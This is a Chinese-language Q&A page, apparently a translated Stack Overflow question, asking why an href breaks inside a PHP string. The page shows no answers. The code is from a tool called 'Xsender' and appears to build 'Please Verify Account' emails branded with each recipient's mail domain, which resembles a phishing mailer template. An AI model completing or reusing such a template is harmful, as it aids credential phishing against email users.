如何将html链接添加到php

时间:2019-01-30 22:08:43

标签: php html

我想添加指向此Php代码的链接,但出于某些原因,href无效。 谁能告诉我如何在此文本上添加链接?

请验证您的帐户

function email_format($email,$id='1'){
global $website;
$url=base64_encode($email);
$em=explode('@',$email);
$emaildomain = substr(strrchr($email, "@"), 1);
$bc=explode('.',$emaildomain);
$bm = strtolower($em[1]);
$chgcap=strtolower($bc[0]);
$frmsite=ucfirst($chgcap);
$tw = strtolower(substr($email, 0, 2));
$prem = explode('@',$email);
$message="  

<font face='Calibri Light' color='black'>
<p style='font-size:16px;'>
Hi there,
<p><a href="https://www.w3schools.com/html/">Please Verify Account</a></p>
</p></font>

";

return $message; }

?><html>
<head>
<title>Xsender</title>
</head>
<body style='width:100%;color:#000;background:#E0E6F8;font- 
family:calibri;'>
<div style='width:100%;max-width:600px;margin:0px auto 0px 
auto;padding:10px;border:#999 1px solid;box-shadow:10px 10px #666;min- 
height:500px;'>

<h1 style='color:#666;text-align:center;text-shadow:#000 1px 
1px;'>XSender</h1>

0 个答案:

没有答案